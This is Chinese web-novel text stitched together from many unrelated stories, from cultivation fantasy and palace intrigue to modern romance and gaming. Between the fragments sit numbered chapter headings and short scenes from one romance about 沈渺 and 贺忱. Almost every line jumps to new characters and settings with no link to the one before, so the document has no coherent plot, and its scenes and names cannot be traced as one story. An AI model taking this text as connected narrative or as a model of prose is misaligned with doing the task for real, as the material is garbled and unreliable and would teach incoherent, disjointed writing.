外面环境黑气缭绕,但勉强仍可视物。这时,外边身着侍卫服装的两名黑衣人见到龙飞舒醒后,便将他抬了出来,移动到旁边一个空置的土地之中,将他的身体强行摆成打坐的姿态,便悄然离去。
碧波得了他这一下短暂的温柔,脸上即刻露出笑容来,擦干净嘴角的血,重新飞回自己的位子。
坐在十二号桌前的罗如烟,似有察觉一般,在崔斌走过来的时候,她抬起了头颅。
席朵朵故作声势地说着,就连她自己都想要这样安慰自己,可是心里始终做不到。
这个我也知道,说是有一个国家的人头上有两个面孔,一个和善一个凶恶,见什么人换什么面孔,是很出名的故事。
就算他不知道到底发生了什么事,但想想凤翔空的地位,想想朝堂和后宫的权力格局与纷争,他隐隐也能看出点门道来。
之前千族已经接到消息,这一次凌震天也来了,为了表示尊重,自然是要千青霖前去。
而在皇宫里,秋夜弦跟玉妃说明了封后的事情后,却还是心事重重,难见悦色。
“那个,大叔你别这么凶,我们是来看望您的。”席朵朵受不了他口中的酒气,往后退了几步。
不曾料想,她中了食脑虫而死。我们追上那下手黑衣人后,却被困在幻术之中,无法动弹。那日的幻术与现在这个幻术十分相似。
好冷。即使他们的身体经历过无数恶劣的天气,但山间的大雨天,还是让他们冻坏了,就算他们抱在一起取暖,也起不到太大的作用。
临走前,如玥不经意的又扫了那幅画,怜贵人舞扇子的模样,果然撩人入心,否则何以皇上会画的这样传神呢。
被鬼魂拎着的厉染并没有放弃对生的希望,而是不断在思考究竟怎样才能摆脱目前的处境。
89.你咬死不认,他们能怎么样?
"秦横天,吃我一枪!"皇道世界之内,战天圣太子楚默率先出手,直接打破了十人对峙的局面,掌中本命帝枪直刺,凌厉枪芒洞穿而出,黄金神光纵横迸射,仿佛可以贯穿一颗星球。
艾弗逊不亏是个老狐狸,这事他可不敢答应林川,其中的原因牵扯很多,借此直接将皮球踢给了总统奥马马。
可以血不这么认为,他只觉得是三天受了宁秋的影响,导致最后入狱,所以心中生恨。
土墙之上,那横贯天际的土刺已经断裂,墙面的裂痕也已经达到了无法承受的地步,随着一片烟尘四散而起,那道隔断两个世界的土墙终于轰然倒塌。
“好了,该到你的了。”看了看腕表上的时间,李璞玉再看了看太阳,而后一脸轻松的对着一旁的周燕芳说道。
“杀他!?我要想杀他,你认为他还能继续站在这里吗!?你看他的伤口?”随着江枫的提醒,兰风柔向着任堃的伤口望去。
凛的具体感觉就是,每10个怪,就有2-3个能突破外墙。按照这个难度,恐怕下一轮怪就有接近一半能够杀进来了。
重伤一人,制服一人,这是王振现在能凭借本体做到的极限,至于“惩戒”技能,还要看这场谈判是否顺利,惩戒可以算是他最后的震慑手段。
“公平与否不能这样确定,既然老弟你确定她的轮回出了问题,那么地府将他带回去及时改正也算是亡羊补牢吧。”八爷笑着解释道。
来电铃声打断了她的话,藤原眉梢一蹙,虽然是自己的,但还是有些不愉,饶是这样,还是接听起来。
白色高腰紧身牛仔裤+黑色皮带+运动内衣+牛仔外套,这一身打扮简直不要太符合裴南川的审美。
作为国服可以最先体验到act4的玩家,林正秋上线后就来到了酒馆。
热搜榜下,也是沸沸扬扬,董潇潇和沈知幂两家的粉丝斗的那叫一个热闹。
工程车载着尸体开进篮球场,立马有穿着白色防护服的民兵队员过来引导,随着车尾“滴答滴答”的警报声,车斗升高,将尸体倾倒在指定地点。
火把散发出明亮的黄色光芒,照耀在众将领脸上,显得众人神情别有一番肃穆的感觉。
七位嘉宾先是如流水般一人走了一遍,之后,三对情侣嘉宾又以家庭为单位走了一遍,最后,便是包括沈知幂在内的七位嘉宾一起走一遍。
云倾莹磕了半天,却不见回应。颤兢兢的抬头,瞟了一眼青玥的神色。
倪老师今年60岁,已婚,她可以说是德艺双馨,在娱乐圈里很是德高望重了。
青玥没有思索,便点了点头。刚想说用何物取血时,却觉得胸口一疼,就见一滴圆润如玉的血,飞向了青莲。
卡尔倒是对他的唠叨没有反感,他初临异界,初来乍到,虽然有着原主的记忆打底,不算两眼一抹黑,但是毕竟不是自己亲身体验,所以还是保持着谨慎心态,少说话多观察。
深夜,大理寺的大牢里一片死寂,玉如颜沉稳的睡着,春花与秋月轮流守在她床边。
玉如颜冲上去对拉着绳索的两位宫人一片拳打脚踢,可宫人得了贵妃的令,任由玉如颜打着,眼睛都不眨一下,只用力拉着手中的绳索。
“那你说……吕树会不会有反叛的哪一天?”钟玉堂不知道是问自己还是问幽明羽,他不得不去考虑这个问题。
再者,今晚的宴席主角是谢皇后与玉明珠,看着玉明珠受大家喜爱,而自己因秦香楼一事。被众人当嫌犯看着,心里实在不舒服,干脆离席出来还舒坦些。
南宫云遥轻叹了一声过后,便也没有继续想象下去了,对于药老的病情,南宫云遥却也是无能为力,只祈求着能够办到。
此刻的寒山寺,楚蓁蓁引着楚姒一路往前走,没有丝毫欣赏风景的意思。
想到这里,木梓月笼在袖子里的手死死握紧,她突然觉得,自己今晚做下的这一切,却是做对了。
她穿了一件淡蓝色的开司米连衣裙,简单的束腰,将她那苗条的身姿和丰满的胸部惟妙惟肖的表现出来。
眼眶不由的湿润,丛慧芳突然间好想哭,也想悲哀的大笑。他说欠她的,也算是把她放在心里了,对她还有愧疚,就表明在他心里她并非一无是处。
青冰荷愕然,他没听出这有什么特别的,聚会不是很正常的事吗?为什么青月玲看上去有点谨慎的感觉。
此时,包括君绝在内,没人注意到,无论是黑影、还是吞灵亦或是抚琴的万化魔君,全都耳朵微震,脸上并没有半点惊慌的痕迹。
唐阳面色一冷,剑动二段的实力催发的寒气竟然对他没用,难道他有什么避寒的珍宝?
"菱姐,人还可能回来吗?"雨翩翩有点儿担心这些人拐了孩子就不会回来了。
而听到君一笑的话后,无论是虚空中的九大道君,还是观战的诸多修炼者,全都在一愣后,哗然大变。
顿了顿,有些愕然道:“呃,我做什么要你管。”说完一把扯下鸡腿狠狠的咬了一口。
或许是他的意志太过坚定。还是天将降大任于斯。终于。他感觉自己已经冻得近乎沒有知觉的手拿住了一件事物。
“好了,这家伙交给我来吧,刚好手有点痒,不过你可别指望我直接逃跑什么的,这个家伙要是被放走了,你知道会有什么后果吗?”魅逝的声音再次在脑海中响起,青冰荷很自然的摇了摇头。
90.婚期定在八月份
沈渺将卷卷说的努阿写话,一一告诉商音。
“我总觉得怪怪的。”
“她……”商音不等说什么,小肉团子突然扯着嗓子哭起来。
她立马起身,将商庭抱起来哄,“好了好了不哭,妈妈在呢……”
商音抱着孩子在屋子里转来转去,给沈渺使眼色。
人与鬼的区别大约就是,鬼能看得见人,而人却不一定能看得见鬼吧。
以前,她对待他,也是热情又张扬,仿佛喜欢什么,就一定要努力拥有。
所以,外界总是评论他喜怒无常,是一个永远都琢磨不透的存在。
“这里竟然是一个天然的阵法,冰族人可真厉害!”无双国的队伍里面,顾绍宏看着四周,突然开口道。
说着说着,罗根发现卢剑星竟然进入了深度睡眠中,看来移魂大法真是很伤及心神。
她很奇怪一直对Air轻声细语的宫千璨竟然会突然因为她动了什么而发火,是什么东西这么重要?
然而,托马斯自我介绍了这么久,结果身边的弟弟连一点回应都没有,托马斯奇怪的低头一看,这才发现自己这个不成器的弟弟居然还在盯着手里精美的茶杯看来看去。
罗根从半空稳稳落地,满脸轻松缓缓扫过脸色难看之极的全真七子。
手枪射击练习,绝对是罗根学习的重点之一。回到漫威世界后他需要用手里的枪作为暂时的防身利器,而手枪携带方便则成了首选。
生理卫生之神黛娜就不多说了,这个白毛萝莉因为还没有彻底复苏的缘故,天天睡的跟死猪似的。
“至少到目前为止,我觉得这个潘翼其实人还挺不错,脾气够好,个性也随和,当然,前提是这些不是伪装出来假象才行。”等潘翼走远了,安长埔和秦若男重回到候诊区坐下时候,安长埔对身边秦若男说。
但是,这种东西早已经绝迹了。且不说棺材在放逐者历史上早已被骨灰盒所替代,拥有无限长度生命后,棺材这种东西,还有谁需要?
“我也不知道,或许是一个意外吧。”秋玄说道。虽然秋玄被困了几年的时间,但是实力却有了飞跃的增长,说起来这事倒也不算太坏。四年中每天勤修苦练达到了九重天的境界,这样的回报已经足够了。
车子一路开过去,车内很安静,荣天俊看着唐静芸闭目养神的样子,不由眯起了双眼,心中暗暗赞叹,不愧是唐静芸,就算突然遭遇这样的事情,也依旧还是这般沉稳冷静。
事出突然,张绮避之不及,肩膀被重重砸了一下。她向后一倒,口中发出一声闷痛。却只是向后退出一步,没有指责什么。
苏念安开始埋头苦吃,她的食欲一向很好,不在乎身材的她在齐彦墨每日散步的带领下,没变胖真是一大幸事。
随着立春节气的到来,天空一下子放晴了。到得正月时,已晴好了几日,街道中大半的积雪已经溶化。
“是,老奴一定看好她们,请世子爷放心。”许嬷嬷感觉自己的心怦怦直跳,可是回话却没有半分的含糊,毕竟是在太夫人身边的老人,什么大风大浪都也经历过的。
“若男姐,睡着了没?是不是被我吵醒了?现感觉怎么样?你先把那个喝了,喝完了能舒服一点。”田蜜一见门开了,立刻一连串询问抛过去,顺便拉着秦若男到她办公桌旁坐下,指了指桌上那个还冒着热气杯子。
91.就见这一次,不会再有第二次
无端闯入脑海的,是沈渺突如其来提离婚时,白净小脸上的疏离和冷漠。
结婚那两年,沈渺像一只布偶猫,美得不可方物,总在不经意间勾的他心神荡漾。
可她又很有分寸,让偶尔会陷进去的贺忱,随时保持清醒。
贺忱捏捏眉心,将思绪回笼,眸色渐渐清晰。
——
炆欲看了一眼,走进来的雷厉等人,接着扭过头去,不想理睬这几人。
一旁的颜瑾此刻已经吃完了手边的食物,眼巴巴的看着自家娘亲。
“前辈不请自来,是不是失了礼数?”夜幕的衬托下,蓝影如妖如仙,分外媚人。
“呵呵……你以为我怕它们么?不,我只是不想让它们找到我!丧尸公约的制定你不懂的……我说了我们本就是从人类变异而来,你只是层次不够罢了……”中年男子叹了口气,语气里满是沧桑。
马儿扬起蹄子向后门处行去,阿真还道:“我们去滨赢看大海好不好?听说那里有各种各样的鲜鱼,遍地都是珍珠!”她兴奋的说着没注意到门外面的人,唐利川坐直了身体一瞧,愣住了。
颜楼方再次醒来的时候,他第一眼看到的就是大夫那张布满皱纹的脸。
甚至还不忘调戏自己,称即使真得对身体伤害大,他也必须要过来,不为别的就喜欢看南宫姐姐。
“如何;如何,他们要重新战队了。”叶凌宇被气的连说了两个如何。
屋子再次陷入瓶颈,赵欣雨摸着自己的肚子,心中是难以言喻的悲伤。
刺鼻的血腥气味再加上萧让的急速飞行,万妖谷之内再一次风起云涌起来,无数的妖兽都被惊动,海潮一样地从四面八方向着这里涌来。
山丘上剩下的数千巫族人也纷纷怒吼,身躯暴涨,血气蒸腾,背后四臂举起手中刀戟斧锤狠狠朝山下涌上来的妖族军队轰击而去。
“哼,总算是把你心里的想法全都说出来了把。”乔雨霏听到这话,鼓动着腮帮子不满的看着宁浩。
张英夏笑了。这是莫媛媛的一块心病。她总是担心自己会像丈母娘那样,人憎鬼恨。
一击击退了那宁浩,韩风孝的呼吸也是显得有些气喘起来,一番交手之后,韩风孝也算是明白了若是自己只有这么一点力量的话,是不可能击溃的了宁浩的。
而中原地区,包括关中东部,都给人一种安详的气息,特别是过了下邽之后,整个关中的气氛瞬间变的紧张了不少,用后世的话来形容,这里似乎到处都充满了浓浓的火药味。
“他们又不是犯了死罪,真动起手来,其他人未必敢动手,况且还有他们家人。再说,你不是还有三十个蒋国公亲兵在吗?我们有一队兵士,轻轻松松干掉章程。”牛见虎忽然插嘴道。
最后一个黑衣人一脚把削去耳朵,满脸鲜血的高山弟子踹倒在地,一言不发收起长剑,站到了为首黑衣人身后。
杨沥歌还是辅助,他点了锤石辅助,锤石这个英雄依旧是辅助界的一哥,可是在职业赛场上却很少出现,主要是这个英雄前期带不起节奏,后期实际上没有多大作用。特别是要野辅联动,只是只要很熟悉的人才能够做到。
说话间冥狼一拳轰然击出,在他看来就算他和秦云互相承受对方一拳,也是秦云被他重创,他不会怎样。
92.派人跟着她,我就不信找不出证据来
察觉到贺忱的目光,张科研恭敬点头。
“再见,贺总。”
贺忱面色不辨喜怒,喉结微微滚动了下,似是应过声了。
可他确实一点儿声音没发出,有种不愿意搭理张科研的既视感。
张科研不自讨无趣。
他想,或许是贺忱这样的大人物,都带着一股高高在上的倨傲。
不是他这样的普通人能接触到的。
掩盖她父亲是恶人的事实,他十几年如一日的担着凶手的名声,甚至抚养他、爱她,这个时候还慷慨的愿意把命交给她,以为这样就能彻底感动她吗?
这老者看起来跟寻常的修者不同,穿着一身藏青色长袍,脚边还放着一个药箱,看起来应该是一名医师。此人正是晏皎月刚才谈到晏璇玑病情时,所提及的那位“谢医师”。
这时候,几人手中的邀请卡突然开始逸散出某些邪恶的力量,黑色雾气将凌昊他们渐渐包围,等雾气散去后,几人便消失不见了。
祖孙俩现在的心情其实都差不多,但也都刚好默契的谁都没谈,不谈夜南,也不谈查理,只是安静的相互陪着坐了会儿。
靳澄湛听这些牢骚特认真,边听边学,一些习惯用语,还有带着大夏腔的。
孙胜男笑了笑,倒没有坚持,南宫俊宁不禁大松了口气,他可不想再在床上躺三个月下不来床。
从那一眼之后,他不再笑,而是时不时打量起淮真,每一眼都比上一眼看起来还要不那么满意。
对方动作娴雅,目光略有些冷淡却不冰冷,容颜并没有美得令人惊艳,在看了她一眼之后,却再难忘记她的模样。
几秒种后,门再次急急被敲响。她起身,跟在开门进来的加拿大裔保镖身后走出访客室。
巫瑾风中凌乱:“!!!”还有诈着试探自己的?!情绪锁过了四个疗程就能发掘新情绪,所以都用在这会儿了?
唐振威我当然认识,他就是那次我和陈佳仪去省城找叶紫,叶紫当晚就在他拳馆打拳。后来他似乎看上了莫霄云。
他前来的目的主要是为了引起骚动,届时不想出来的人自然会出来。
天光大亮之时,一万多苏军集结完毕,列阵于城前,摆出了攻城的驾势。
那些针孔比起现代的针孔要大上许多,应该是做了类似针孔一样的东西出来弄的。
终究是要面临的问题,筱筱逃不脱了,可也不想在厨房里跟他理论。
以静被他求的心软了,想了下,只是亲下额头的话还是没什么的。
北辰玦原本拿这尸毒完全没有办法,只能将它封住。没想到她只是用一盆糯米,就解了他的剧毒。
慕北冷静地出声建议,她不知道温亚馨会不会选择报警,但目前报警是最好的办法。
他给秦如风和程路远分别打了个电话,说明了情况,实际上是告诉二位,他们如果想追求沈时,他江玦黎不再阻拦,因为他给予不了沈时幸福了。
“既然不是为袁绍殉葬,你们又为何这般执意求死?”苏哲反问道。
它们的主人发生什么事情了,它们无从知道,但是它们有一点共同的感觉,那就是院子里多了几份危险!因而它们一个个都绷紧了神经,随时准备自卫或逃跑。
枉死印没入到莫亦的体内之后,就直接消失不见,就连莫亦自己都不知道这东西到底去了哪里,进入到他的体内,就融掉了一般。
93.该管唯怡叫嫂子
“欢迎光临……”
她们走向沈渺的步伐,被迎上去的服务员逼停。
孙易琴拉了程唯怡一把,“先别轻举妄动,别打草惊蛇。”
程唯怡强忍着想冲上去,撕下沈渺衣服的冲动。
她被孙易琴拉着朝另外一排礼服区走去。
纵然如此,沈渺也知道她们冲什么来的。
“怎么了?”
虽然只是一晚588,但对于现在被夏家所不待见的独自闯荡的夏凡而言,绝对是昂贵了。
哪怕是安纳尔的顶级私人专机湾流G650,也没办法容纳下所有的工作人员,所以才采用了两手的措施,而岳凌寒一出手就带走了所有的人。
要给他打个电话吗? 只见她犹豫再三后,轻轻的拨通了那个号码。
孙悦瑶低垂的眼睫看见季雨悠停留在自己面前,迟迟没有走开,心里不免有几分疑惑,却还是强自镇定地抬起头来。
“大胆!城主岂是尔等凡夫俗子说求就能求的?”领头中年身旁的将领变得嚣张跋扈起来,面带怒意的瞪着韩千雨,那眼神,仿佛要将人杀死一般。
眼下挺着大肚子的卫卿卿让她觉得很是碍眼,故而质问卫卿卿的语气颇为不善。
“青凝?你,你怎么会在此地?”古玉激动的说道,毕竟他来到此地就是为了寻找青凝,因为那是古神族最后的希望了,如今见到她安然无恙,那颗悬着的心总算是安定了下来。
驾车的车夫老黄双目顿时不能视物,慌得他急忙一勒缰绳,两匹骏马被他猛地一勒,人立而起,四只碗口大的蹄子“啪”地一下重重砸在地上,猛地止住了车子。
感受最为直接的白胡子大长老正想要提起自己的真气与夏凡抗衡。
补时最后一分钟,绝杀对手,如此地解气,顾德成为了教练、队友和球迷心中的英雄。
她一抬眸,却对上成王带着狠色的眸子,当下便是一愣,成王一甩袖,抛下她当先走了出去,冯沉碧有些委屈,又有些无措,想了想,还是跟了出去。
燕迟挑眉,接过信筒打开来看,刚看了两眼眉头就紧紧的皱了起来。
入口之处的黑色旋涡再度传来了三道身影,正在路口之内所遇见的东方散人灵异玩家国字脸的张鼎智,面容消瘦的李柏岩以及拥有身材高挑的周思思。
来到梅林身边的衔尾之蛇遗憾的说道,当初就是他把卢修斯送出此地,希望他能找到解除的办法。
“看人收费?不是应该看病收费吗?”一个中年男子皱着眉头,神情疑惑的低声念道。
奥帕蒂芬妮呼吸急促的说了句:你,就想再次冲上来,温蒂架住的她的剑。少宇继续说道:难道你真的准备听他们的意见?做决定是我们。
罗伊看到后,眼中闪过一丝精光,在空中转身,旋转起来,化作一道暴风杀向艾薇儿。
雷·加尔弗德听到后难得可以打探到安瑾的情报后,被打断后,不由得有些懊恼的望了一眼四糸乃。
然后养殖场的老板就带着袁天依次走进了那几间房子里,那里面的潮气和臭味儿跟重,而且袁天还发现在里面待的时间长了,生命值都甚至会下降一点点,鉴于那强大的威力,袁天在确定蚯蚓没有问题后,就匆忙的走了出来。
这种魂水,由主人生前的泥丸宫在一定几率之下转化而成,而其作用,便是能够淬炼神魂。
94.真正欺负沈渺的——是你哥!
克拉克愤怒拍在桌子上,发出轰隆一声,桌子上的食物全部都掉落在地面上。
经过了一个多月的训练,整个独立团的战斗力都是有了明显可见的提升。
李辰表情深沉,赵莉影目光紧盯他,陈乔蒽嘴/巴微张,孙一洲的眼睛里只剩下白眼了。
东方白也是眉头紧蹙,她从这几个字中看出风清扬起码也是半步宗师境界。
忽然一声怒吼,从前方传了过来,落尘早就发现了这里有许多的尸体,但是没有想到他们在这个时候苏醒了过来,只见他们一个接着一个爬了起来,奥兹奥兹的叫着。
“刘星先生,您是说,您要同时拍摄第三部电影吗!”一位记者迫不及待的站了起来,忍不住的问道。
死亡沼泽的确非常非常大,也难怪余烬到现在才刚发现了新地狱。
不过大部分人应该有体会过,宠物猫狗的毛粘在沙发和身上特别烦。
上次王乐水轻轻松松就把他救回来,这次王乐水居然好久都没搞定?
“下个月初二,是个好日子,我看,不如就定在下月初二。”诸葛正我想了想,笑着说道。
“老赛,你们载我们飞一会儿么?”燕飞昂着脑袋,看着在空中不停折腾穹顶的神圣巨龙,难道那家伙不知道下面有一队人在吃灰么?
东方毅听到怀少的那个“我家”这词,嘴角抽了抽,随后说道:“竟然这样,可别怪我对付季婷,反正她已经不是你手下的人了,就这样,我忙了!”说完,立刻掐断了电话。
“我的想法却不一样,只要你肯束手就擒,我就放了他二人。”马休斯指指地上的卡托,可怜的牛头人浑身是血,不过这些都是外伤,燕飞能够感受到卡托的生命力仍然旺盛,并无半分衰竭之象,却仍然没有看到安娜。
李香心中也是一阵郁闷,明明知道喝酒会醉,还逞能,现在可好,本来有岳隆天在,还能和赵飞龙抗衡一下。
“在下大名鼎鼎的云奇峰匆不为大师座下云奇双侠之一慕修旭,赐教就免了,你要是认输现在可以下去了,”慕修旭一连长长说出一句话,惹得台下一片哄笑声。
“对呀,哈哈哈,业余爱好,是业余爱好。”老威尔却不已为然,好像看到了什么好笑的事情,开心的大笑起来,眼睛眯成了一条细线。
刚刚过了上班、上学的高峰,公‘交’车上倒不是很拥挤,林天上车以后,走到最后面,居然还有位置。一屁股坐下,林天眯着眼睛。
仙界,无穷的神秘,各种上古遗址,各种独立‘交’叉的空间叠合。
嘴角勾起一丝淡淡的微笑。若笙望着眼前的老黄眼里闪过一丝厌恶。
那大手之上裹着剑意,轰然落下,直接震碎了战台之上的空间,让凌天撑起来的剑域,都跟着猛烈震颤。
“哼,下次就没有这么好运了,人类!”摩西冷笑不止,不给邵逸龙喘息的机会。
突然,从他的后面透出一股寒气,而他前面借着月光,有一闪着绿色寒光的东西飞速而来。
“没事,你玩你的,我看看就行。”苏蕊坐到沙发的另一端,拿着桌上的水果盘子,随便吃吃,随便点着音乐播放。
这时,楚岩收获星光,回归大殿,一伸手将姜川提起来,准备离开。
老巫婆的话音刚刚落下,我就看到他的身体突然一收,那条飞出去的线虫蛊顿时飞会到了他身体的后背处,随后,我就看到至少有几十条的线虫蛊,就跟说好了似的,纷纷做出进攻的趋势,一下子将矛头瞄向了死人脸。
“都抓来?这似乎是个好办法,呵呵……”血姬倒是认真思索了起来,这是柳含烟始料未及的,她不过是随口一说,仅仅是想气血姬一番罢了。
眼前便是陡然爆发出一阵璀璨金光,而后,他们便是见到,杨叶的掌心带着淡淡的绿色光芒,直接是以一种极为蛮横的姿态,轰向他们三人的拳头。
此时猥琐青年带着两个神色傲慢随从已经走近,但见到战无双等人,两人脸上的高傲立刻散去,取而代之的是一脸的讨好献媚,宛若民国时代的汉奸模样。
路过门前的监控时,她特意摆了一个POSS,对着镜头吐了一下舌头,便驾车而去。
“好久不见,李察先生。”克尔苏加德的脸被面罩罩着,只留了一条缝隙,声音像破了的在空中呼啦的塑料袋一样。
“靠,就你徒弟金贵!”把刚才的电话偷听了个遍的史弩,此时此刻只表示强烈不满。
“哎哟,反应不错。”韩宥看到对方走位的时候,面上闪过一丝会心的笑意,手上却是在此之前已经做出了操作。
只不过萨尔想的的少儿不的画面并没有出现,大个兽人解下自己的裤腰带只是为了遮住萨尔的双眼。萨尔的眼睛被蒙上,在蒙上的一刹那,萨尔闻到了汗味和血腥味。
王靳没有说话,而是默默的把李珂珂抱到了床上,一直在期待和幻想,到了这个时间王靳真的很激动,但并不是为了啪啪啪而激动,而是为了突破化神期,化神期的强大,王靳做梦都在期待。
95.去问贺忱,那孩子到底是不是他的!
“昨晚上只是一个意外,莹儿你别哭,我还是最爱你姐姐的。”秦寒花了很大的耐心去安慰墨千莹。
果然,他不会让自己死,即便她根本想不起来他,却清楚的记住这一点,是因为真的和他有什么感情,还是因为某种生死相关的联系。
而且这几天他怕情绪外露被卢桂玲发现端倪都没敢在家里住,都借口部队有事住在部队了。这下儿子和骆清颜都安全回来了他也终于可以安心了。
此刻的凤汐月一脸灰白,两眼深陷,瘦得皮包骨一般。明明一个月前他们还曾见过,当时,挺着大肚子的姐姐笑得是如此甜美,抚摸着肚子里的孩子的手是如此的温柔。
姜嬷嬷早在凤玖进宫时,便猜到了眼前这一幕。眼泪唰一下就下来了。
“你在赶我?”洛亦承没有走开,声音比刚刚更冷了,脸上的表情更是恐怖。
参天大树下的石桌边,一个吊儿朗当的歪斜人儿,正惬意的翘着二朗腿,边吃着我奉上的田瓜,边对我呦五喝六的。
果然上面写着是这个,大部分人都是这个,也就是说抽到了这一个的人并不是第一轮的执政者。
茹霜跟其他人一样,只是等待死期的生还者,只是脆弱的血肉之躯。
秉持着贼不走空有比没有好,李富贵让赵东宇和傅玉郎从那些尸体上扒些衣服走。
而实际上李富贵开了不止一枪,他连续开了三枪,每一枪都附带着一个单位的元气。
新歌非常好听,但因为不是过于流行的曲风,观众听着没有那么得劲儿。
也罢,既然当初他们不留余力地帮助了自己,那这种能赚钱的好事林叶自然不会忘了他们。
“记住你说的话。”张秀英瞪她一眼,深山是那么容易进去的,她最好是说到做到。
他字字珠玑:“伱作为一个记者,‘谁举报谁举证’的道理你不知道吗?”说得面前这位记者哑口无言。
还记得托比提醒关天翔要对艾西好一点,关天翔却做不到……或许托比一早已经察觉到艾西是为关天翔着想的同伴?
夏洛克没有回答这个问题,只是安静的咀嚼着口中的蛋糕,至于神祇什么的,他可不想当,一想到自己正在房间里操控恶魔,而外面就有一大票人在一脸狂热的讨论自己,他就觉得浑身不自在。
“当然没有什么不对,你只不过是让老院长的管家细心的照料这只恶魔罢了,毕竟它是老院长的原生恶魔,如果它出了什么三长两短,谁知道会发生什么事情。
看着商羽用实际行动回答了自己的话,好爽的金成虎自然是乐意至极。
被天煞邪医治好的人,都会成为天煞,所谓以天煞为食,就是除了正常食物,还得每日定量摄入天煞毒,所谓的味觉嗅觉触觉异于常人,则是只对天煞毒有感觉,面对常物,食如嚼蜡,嗅之无味,碰之无感。
“我已经决定了,你拦不住我。”沈嘉行坦然的望着她,伸手拉下了她的手。
“我就是想问问你,家里有没有什么捕鱼的工具。”看秦穹脸色仍然冷漠,许灵竹刻意与他保持了距离。
薛盎看着孟瑶的背影,伸出双手,开始摩拳擦掌,眼里放出精光,这人一肚子坏水,突然觉得这个孟瑶可能会是一块肥肉,他得想想怎么利用了。
“谈合作。”陆景丞道,有些合作方喜欢那些地方,他便陪着去过几次。
阿妙顿时不开腔了,只是老大不高兴地瞪了眼阿笙,后者顿时一脸莫名其妙。
她不愿意理解为泪水,一个差点侵犯了母亲,还处处给父亲使绊子,将无辜的患者用来做实验的人,他有什么资格让人同情?
秦穹说着,动身进柴房取出了一个被黑布包裹的物什扔在了李大奎面前。
方言沉默了,今天的局面超乎了意想,牧旋对冷清雪有意他是知道的,没料到的是会做到这个地步,顿时陷入了两难的境地,唐木索性闭上了双目,但是脸上皱起的皱纹已经暴露了他心中的不平静。
他不知道的是,自从苏恒知道他是无极门弟子后,就一直在提防着他的九宫八卦图。姜重阳想算计他,又怎么可能成功?
王离闻言心中一惊,曹皬这才多大,就让他去打仗?曹皓与曹皔刚出了事,曹皬就往边关赶去,李云川要是知道,定然心急。
叶非凡可不喜欢这样高来高去的,坐飞机还有个座椅,这可倒好,脚下空空啥都没有,这个感觉绝对不美好。
天极峰顶星空笼罩,白天变黑夜,恐怖的波动在其中疯狂冲击肆虐着,那股沛然不可抵御的浩瀚威压压得众人喘不过气来。所有人的脸色都有些发白,却是为北斗七星阵的气息威慑所致。
苏衡?但许盛说,徐鸿远是受苏衡的只是,与孔家虚与委蛇的,苏衡应该不会这么狗急跳墙的事来吧。
“都是些一重天武夫,二重天都少见,这便是沂州天骄聚集之地,修行宝地吗?”青禾看着场面质疑一声。
这丫头体内的血色珠子别人看不出来,他却是最熟悉不过,那是他一位挚友的宝物,传闻蕴藏上古秘辛。法力惊世。
王离听到陈逸这名字,心道岳洋要自己交还望仙筒的,不正是那陈逸么,不过陈逸是天罡教长老,修为不低灵王境,这祁一诺灵侯境就想去追捕陈逸,也太不切实际了。
96.深刻地体会到孩子的存在
母女两人离开休息室,直奔宴会厅。
此刻的宴会厅气氛高涨,贺老爷子跟贺老夫人下楼露面,切蛋糕接祝词。
贺岭山发表了一番感言后,将主场交给了明黎艳。
明黎艳穿着一身正红色礼服,满脸笑容。
“我们贺家今天算双喜临门,借着老爷子的寿宴我再宣布一个喜事,那就是贺忱跟唯怡的婚事,定于八月二十六号,希望到时各位莅临。”
霍宝摸摸鼻子,然后当着观音菩萨的面拿出一粒生死丹,吞入口中,咯嘣咯嘣嚼碎了吃下。
“不好意思哈,辉哥,来的路上有点事儿耽误了,我的错,我的错。”在班里当了一年的班长,对于杨光辉的脾气他还是知道的,加上从生意人老爸那里看到的一些事情,他哪能看不出这是辉哥在调侃自己。
他前来祖龙洞,除了寻找提升修为的机缘,另一个就是本源命石。虽然老乌龟不厚道,但姜云可以拿着本源命石去要好处,往死里敲竹杠。
须臾,石松从山上挑着扁担走下来,神情弥漫喜意,看样子今天有所斩获,多登上了几个台阶。
但又转念一想,开学那天自己就没来,怎么可能知道校长的模样。
金圣哲虽然痊愈能力惊人,却也难以经得起如此重击,当下骨痛钻心,差点晕死过去。
然而片刻之后,当林毅背到“天道无亲,常与善人。有德司契,无德死彻……”之时,众人才听了倪端。
莫辰知道,怪只怪自己,能力不够,若不然怎么会在自己的“地盘”上,还要被人这么狂虐。
两人目光相对,良久良久,谁也不曾说话,无限幽寂,更胜人语。
尽管此刻强者镇压诸天,气氛紧张到极点,但很多人还是目瞪口呆,想骂脏话,其中就包括姜云。
他有着过目不忘的记忆力,不至于想不起来,是不是她曾以不见的发型或是打扮出现过自己面前,又或是画了不同的妆?
村民之中有几人假惺惺地鞠躬或行礼,然后悉悉索索地退回破损的大门。玛尔戈趁人不注意向他轻眨了一下眼,然后转身离开。
说来也怪,这个时候,那一座昆峰脚下的那一些雪煞,在见到了刘剑飞的这两辆战车过来之后,居然不像是上一次那样逼近过来,而是纷纷地落荒而逃掉了。
拓跋焘起身走到门外,只见平城方向光芒大作,隐约之中还能听见一声声的龙吟,一条金龙的虚影在空中翻腾,然后一跃而下,消失在夜空中。
刘宁没有急着进去,而是原地里恢复了好一会儿,将体内的灵力恢复了个七七八八,这才走了进去。
然而场上的周涛可丝毫没觉得自己有多大优势,看上去是一回事,而作为当事人,什么感受她自己最清楚。
他虽然投靠了安平郡王,可安平郡王毕竟志在天下,不可能天天逮着一个孙斌不放,所以就在蒋淖的劝说下,暂时放弃了找孙斌的麻烦。
突然,大白察觉到身后有两道利剑一般的杀气,他转过身只见彤彤站在后面,手里拿着一块不知从哪里捡来的脏兮兮的板砖。
领悟的无数时光法则一一凝聚起来,汇聚成时间的大道加注己身,刘宁只感觉自己越过了一座高山,达到了崭新的天地之中。
两人互相捏了捏手,想象睚眦的模样,心想,它的脸上沟壑如此多,怕是不会太漂亮,幸好黑暗,否则怕是两人要吓死了。
97.怎么,怕耽误你谈恋爱
这个时间,贺老爷子的寿宴应该还没结束,他怎么会在这儿?
“那是贺总吗?”
张科研也看到了贺忱,他想起什么似的问,“他刚刚不是还在接受采访,宣布跟程小姐的婚事?”
匆匆离去的男人,暗暗看了眼张科研搭在沈渺手上的腰。
试图寻觅藏匿起来的黄泉组织,不放过任何蛛丝马迹。如果黄泉组织的妖怪耐不住寂寞,想在东京搞点事情的话,是逃不过他的监视。
卡尔见状,立即开始向鸟蛋跑去。他知道,只要保护好鸟蛋30秒不受攻击,那么不死鸟就会重生。只要到了生命之泉,不死鸟就是无敌的存在。他们整个暗夜精灵族就能保住了。
